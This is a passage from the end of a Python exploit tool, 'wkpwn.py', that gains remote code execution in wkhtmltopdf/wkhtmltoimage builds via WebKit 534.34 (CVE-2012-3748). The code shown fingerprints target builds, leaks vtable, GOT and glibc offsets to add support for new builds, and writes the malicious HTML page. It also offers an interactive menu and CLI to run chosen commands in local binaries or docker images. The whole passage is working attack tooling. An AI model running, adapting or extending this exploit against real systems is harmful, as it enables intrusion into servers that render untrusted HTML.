    print("  module base %#x   PIE=%d   RELRO=%s   fpwk=%#05x"
          % (r["mb"], pie, "FULL" if full else "partial/none", fpwk))
    if None in (stgot, gegot):
        print("  IMPLVT=%#x WRAPVT=%#x STVT=%#x CINFO=%#x  (STGOT/GEGOT unresolved -- need the binary)"
              % (r["IMPLVT"], r["WRAPVT"], r["STVT"], r["CINFO"])); return
    row = ("else if(_c===0x%x){ IMPLVT=0x%x;WRAPVT=0x%x;STVT=0x%x;CINFO=0x%x;STGOT=0x%x;GEGOT=0x%x;"
           "PIE=%d;useGOT=%d;fpwk=_c;break; } // %s" %
           (fpwk, r["IMPLVT"], r["WRAPVT"], r["STVT"], r["CINFO"], stgot, gegot, pie, useg,
            (binary if mode == "docker" else os.path.basename(target))))
    print("\n  [1] BUILD row -> paste into EXTRA_ROWS (top of this script), as a quoted string:\n")
    print('    "%s",' % row)

    # glibc row (needed by the FSOP finisher when useGOT=0; harmless to add otherwise)
    libc = (os.path.join(work(), "ex.libc") if mode == "docker" else None)
    if not (libc and os.path.exists(libc)):
        libc = _libc_of(binpath) if binpath else None
    if libc and os.path.exists(libc):
        po, grow, missing = _glibc_row(libc)
        if grow:
            known = po in KNOWN_PO or po in _extra_po()
            print("\n  glibc: %s  po=%#05x  %s" %
                  (os.path.basename(libc), po, "(already supported)" if known else "<- NEW"))
            if not known:
                print("\n  [2] GLIBC row -> paste into EXTRA_GLIBC (top of this script), as a quoted string:\n")
                print('    "%s",' % grow)
        else:
            print("\n  glibc: couldn't read %s from libc (%s). If useGOT=0 and it won't pop, send me the libc."
                  % (", ".join(missing), os.path.basename(libc)))
    elif useg == 0:
        print("\n  glibc: couldn't locate the target's libc for the FSOP row; if it won't pop, send me libc.so.6.")
    print("\n  Then re-run against the target.")
    return row

# ============================ ui ============================================
def list_presets():
    print("ACTIONS (work on any host):")
    print("  wkpwn.py --local <path> [-c CMD]   exploit a local wkhtmltopdf/wkhtmltoimage binary")
    print("  wkpwn.py <docker-image> [-b BIN]   exploit a binary inside a docker image")
    print("  wkpwn.py --fp <target>            identify a build (no exploit)")
    print("  wkpwn.py --extract <target>       leak a new build's rows from scratch (adds support)")
    print("  wkpwn.py --emit [path]            write the exploit page to disk")
    print("\nPRE-BUILT TEST TARGETS on this dev box (interactive-menu items 5-10):")
    for i, (lbl, mode, tgt, _b, tech) in enumerate(PRESETS, 5):
        src = tgt if mode == "local" else "docker " + tgt
        print("  %2d) %-34s  %-22s  via %s" % (i, lbl, "[" + tech + "]", src))
    print("\nAny 0.12.x 'with patched qt' build (WebKit 534.34) works. Distro apt wkhtmltopdf\n"
          "(Qt5WebKit 602.1) is detected and handled by a separate chain automatically.")

def prompt(msg, default=""):
    try: return input(msg).strip() or default
    except EOFError: return default

def _ask_target(verb):
    t = prompt("  %s which target? (local binary path OR docker image): " % verb)
    if not t: sys.exit("  (nothing given)")
    if os.path.exists(t): return "local", t, os.path.basename(t)
    return "docker", t, prompt("  binary inside the image [wkhtmltopdf]: ", "wkhtmltopdf")

def _ask_cmd_count():
    cmd = prompt("\n  command to run [id]: ", "id")
    try: n = int(prompt("  attempts [5]: ", "5"))
    except ValueError: n = 5
    return cmd, n

def interactive():
    print("\n  wkhtmltox RCE  ·  WebKit 534.34 / CVE-2012-3748\n")
    print("  WHAT DO YOU WANT TO DO?")
    print("    1) exploit a LOCAL binary     (e.g. /usr/local/bin/wkhtmltopdf)")
    print("    2) exploit a DOCKER image")
    print("    3) fingerprint a target       (identify the build, no exploit)")
    print("    4) extract a NEW build's row  (add support for an unknown build)")
    print("\n  ...or a pre-built test target on this dev box:")
    lab = [p[0] for p in PRESETS]
    for i in range(3):
        left  = "%2d) %s" % (i + 5, lab[i])
        right = "%2d) %s" % (i + 8, lab[i + 3]) if i + 3 < len(lab) else ""
        print("    %-38s %s" % (left, right))
    choice = prompt("\n  > ")
    if choice == "1":
        p = prompt("  local binary path: ")
        if not p: sys.exit("  (nothing given)")
        cmd, n = _ask_cmd_count(); print(); attack("local", p, os.path.basename(p), cmd, n); return
    if choice == "2":
        img = prompt("  docker image: ")
        if not img: sys.exit("  (nothing given)")
        binary = prompt("  binary inside the image [wkhtmltopdf]: ", "wkhtmltopdf")
        cmd, n = _ask_cmd_count(); print(); attack("docker", img, binary, cmd, n); return
    if choice == "3":
        mode, target, binary = _ask_target("fingerprint")
        print("\n== fingerprinting: %s%s (%s) ==" % ("local " if mode == "local" else "", target, binary))
        fingerprint(mode, target, binary, verdict="fp"); return
    if choice == "4":
        mode, target, binary = _ask_target("extract")
        print(); extract(mode, target, binary); return
    presets = {str(i + 5): PRESETS[i] for i in range(len(PRESETS))}
    if choice in presets:
        lbl, mode, target, binary, _tech = presets[choice]
        cmd, n = _ask_cmd_count(); print(); attack(mode, target, binary, cmd, n); return
    sys.exit("  (nothing selected)")

def main():
    ap = argparse.ArgumentParser(add_help=False)
    ap.add_argument("target", nargs="?")
    ap.add_argument("-b", "--binary", default="wkhtmltopdf")
    ap.add_argument("-c", "--cmd", default="id")
    ap.add_argument("-n", "--count", type=int, default=5)
    ap.add_argument("--local", metavar="PATH")
    ap.add_argument("--fp", action="store_true")
    ap.add_argument("--extract", metavar="TARGET")
    ap.add_argument("--port", metavar="BIN")
    ap.add_argument("--ref-bin", metavar="PDF")
    ap.add_argument("--ref-off", metavar="STR")
    ap.add_argument("--emit", nargs="?", const="wkpwn_exploit.html", metavar="PATH")
    ap.add_argument("-l", "--list", action="store_true")
    ap.add_argument("-h", "--help", action="store_true")
    a = ap.parse_args()
    if a.help:  print(__doc__); return
    if a.list:  list_presets(); return
    if a.emit is not None:
        open(a.emit, "w").write(_html())
        print("wrote exploit page -> %s  (%d bytes, %d built-in rows + %d extra)"
              % (a.emit, os.path.getsize(a.emit), len(KNOWN), len(_extra_fpwk()))); return
    if a.port:
        port(a.port, a.ref_bin, a.ref_off); return
    if a.extract:
        if os.path.exists(a.extract): extract("local", a.extract, os.path.basename(a.extract))
        else:                         extract("docker", a.extract, a.binary)
        return
    if not a.target and not a.local:
        interactive(); return
    if a.local: mode, target, binary = "local", a.local, os.path.basename(a.local)
    else:       mode, target, binary = "docker", a.target, a.binary
    if a.fp:
        print("== fingerprinting: %s%s (%s) ==" % ("local " if mode == "local" else "", target, binary))
        fingerprint(mode, target, binary, verdict="fp")
    else:
        attack(mode, target, binary, a.cmd, a.count)

if __name__ == "__main__":
    try: main()
    except KeyboardInterrupt: print("\n(aborted)")
    finally:
        if _WORK and os.path.isdir(_WORK): shutil.rmtree(_WORK, ignore_errors=True)
        try: os.remove("/tmp/.wkstage")
        except OSError: pass